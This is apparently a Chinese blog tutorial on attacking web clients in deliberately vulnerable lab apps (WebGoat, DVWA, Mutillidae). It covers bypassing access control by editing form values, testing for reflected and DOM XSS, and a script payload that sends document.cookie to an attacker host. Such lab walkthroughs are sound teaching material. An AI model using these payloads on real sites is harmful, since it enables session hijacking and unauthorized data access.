Web使用跨站脚本攻击客户端

一.使用浏览器绕过客户端控制

1.登陆WebGoat, 点击Access Control Flaws,转到 LAB:Role Based AcceControl→Stage 1:Bypass Business Layer Access Control (阶段 1:绕过业务层访问控制)

2.使用tomeat的登陆凭证(tom, tom)登陆这个表单,并用F12启用firefox的开发者工具

3.来检查一下员工表单。我们可以看到一个值为105的html标签: Tom Cat(employee)

4.接着转到开发者工具中的Network选项卡并单击ViewProfile,可以注意到请求中有一个名为employee_id的参数,其值为105:

5. 单击ListStaff 返回列表。

6.更改为开发者工具中的Inspector选项卡。

7.双击标记的值(105)将其改变为101。尝试一下是否可以通过改变这个值查看其他用户的信息。

8. 再次点击 ViewProfile :

9.现在, WebGoat给的目标是使用tom的账户删除tom的个人信息。来尝试一下,点击ListStaff 返回列表

10.注意ViewProfile按钮

11. 它的名称是 action,值为 ViewProfile,我们将其改为 DeleteProfile

12.可以发现按钮上面的字已成功更改,点击DeleteProfile后,即可完成目标任务。

二.识别跨站脚本漏洞

1. 我们将使用易受攻击的 Web 应用程序(DVWA)来完成这个小节。使用默认的管理凭据(admin 作为用户名和密码)登录,然后到 XSS reflected(反射 xss)。

2. 测试漏洞的第一步是观察应用程序的正常响应。在文本框中填写一个名称字符串并且点击提交。在这里我们填写的是:Bob

3.应用程序使用的是我们输入的字符串。如果我们引入一些特殊字符或者数字而不是一个有效的名称字符串,会发生什么呢?让我们试试:<'this is the first test'>

4.现在,我们看到我们在文本框输入的任何内容都将出现在响应中;也就是说,它成为了响应 HTML 页面的一部分。让我们检查页面的源代码来分析它是如何显示信息的:

5.试着在普通输入的后面加上非常简单的脚本代码:Bob<script>alert('xss')</script>

该页面执行了脚本,导致弹出了警告框,因此该页面容易收到XSS攻击。

6,现在,检查源代码,看看发生了什么:

看起来我们的输入被处理得好像它是 HTML 代码的一部分;浏览器解释了<seript>标签,并在其中执行代码,显示出了警告。

三.利用 xss 获取 Cookie

1.在Kali Linux的终端上运行以下命令来开启HTTP服务;

2.然后登陆 DVWA,再转到 XSS reflection 下;

3.在文本框中输入以下内容(192.168.56.10 为Kali主机IP 地址):Bob<script>document.write('<img src="http://192.168.56.10:88/'+document.cookie+"">");</script>

4.查看终端,你会发现出现以下信息;

四.利用 DOM XSS

以下是在Web应用程序中检测和利用此漏洞的步骤:

1.在易受攻击的虚拟机VM_1中,转到Mutillidae I1 | OWASP 2013 | XSS | DOM | HTMLSStorage

2.这个练习会展示一个表单,用于在浏览器的本地记录中存储信息和相应的session。然后在“网络”选项卡中启用开发人员工具。

3.尝试添加一些数据,我们发现在开发者工具中并没有进行网络通信,绿色条显示是我们输入的值:

4.如果我们检查"Add New"按钮,我们看到它在单击时调用了一个函数 addItemToStorage:

5.现在,转到 Debugger 选项卡并查找 addItemToStorage 函数,我们在 index.php 的第 1064行找到了这个函数:

6.所以我们尝试设置一个包含 HTML 代码的键值。添加以下键作为键的新值:Cookbooktest <H1> 3</ H1>

7.如果浏览器解释 HTML 代码,则很可能也会出现 JavaScript 块。添加一个新条目,其中包含以下键值:Cookbook test <img sre = X onerror ="alert('DOM XSS')">

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值